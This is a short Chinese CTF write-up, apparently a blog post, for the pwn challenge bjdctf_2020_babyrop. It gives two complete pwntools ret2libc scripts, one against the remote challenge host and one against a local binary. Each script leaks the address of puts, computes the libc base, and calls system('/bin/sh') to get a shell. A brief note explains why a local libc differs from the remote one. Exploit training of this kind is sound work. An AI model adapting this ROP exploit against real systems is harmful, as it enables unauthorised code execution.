bjdctf_2020_babyrop

这道题也是经典的ret2libc

点击查看代码
from pwn import *
from LibcSearcher import *
io=remote("node4.buuoj.cn",25607)
#io=process("./bjdctf_2020_babyrop")
elf=ELF("./bjdctf_2020_babyrop")
io.recvuntil("Pull up your sword and tell me u story!")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
rdi_addr=0x400733 
main_addr=elf.sym["main"]
payload="a"*(0x20+0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.send(payload)
io.recv()
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
#libc=LibcSearcher('puts',puts_addr)
libc=ELF("libc-2.23.so")
#libc_puts=libc.dump('puts')
libc_puts=libc.sym["puts"]
libc_sys=libc.sym['system']
libcbase=puts_addr-libc_puts
sys_addr=libcbase+libc_sys
libc_bin_sh=libc.search("/bin/sh\x00").next()
bin_sh_addr=libcbase+libc_bin_sh
io.recvuntil("Pull up your sword and tell me u story!")
payload='a'*(0x20+0x8)+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
io.send(payload)
io.interactive()
这回算是彻底搞懂了LibcSearcher,远程和本地的区别。ldd得出来的软链接是本地文件的libc库的链接,无法打远程
点击查看代码
from pwn import *
from LibcSearcher import *
#io=remote("node4.buuoj.cn",25607)
io=process("./bjdctf_2020_babyrop")
elf=ELF("./bjdctf_2020_babyrop")
io.recvuntil("Pull up your sword and tell me u story!")
puts_plt=elf.plt["puts"]
puts_got=elf.got["puts"]
rdi_addr=0x400733 
main_addr=elf.sym["main"]
payload="a"*(0x20+0x8)+p64(rdi_addr)+p64(puts_got)+p64(puts_plt)+p64(main_addr)
io.send(payload)
io.recv()
puts_addr=u64(io.recvuntil("\x7f")[-6:].ljust(8,'\x00'))
#libc=LibcSearcher('puts',puts_addr)
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
#libc_puts=libc.dump('puts')
libc_puts=libc.sym["puts"]
libc_sys=libc.sym['system']
libcbase=puts_addr-libc_puts
sys_addr=libcbase+libc_sys
libc_bin_sh=libc.search("/bin/sh\x00").next()
bin_sh_addr=libcbase+libc_bin_sh
io.recvuntil("Pull up your sword and tell me u story!")
payload='a'*(0x20+0x8)+p64(rdi_addr)+p64(bin_sh_addr)+p64(sys_addr)
io.send(payload)
io.interactive()
区别就是软链接。把libc库当文件处理。对于其中字符串的搜索是libc.search("/bin/sh\x00").next()。 libcsearcher容易出现点小bug这个还要去摸索。
posted @ 2022-06-29 13:29  REPWNER  阅读(14)  评论(0)    收藏  举报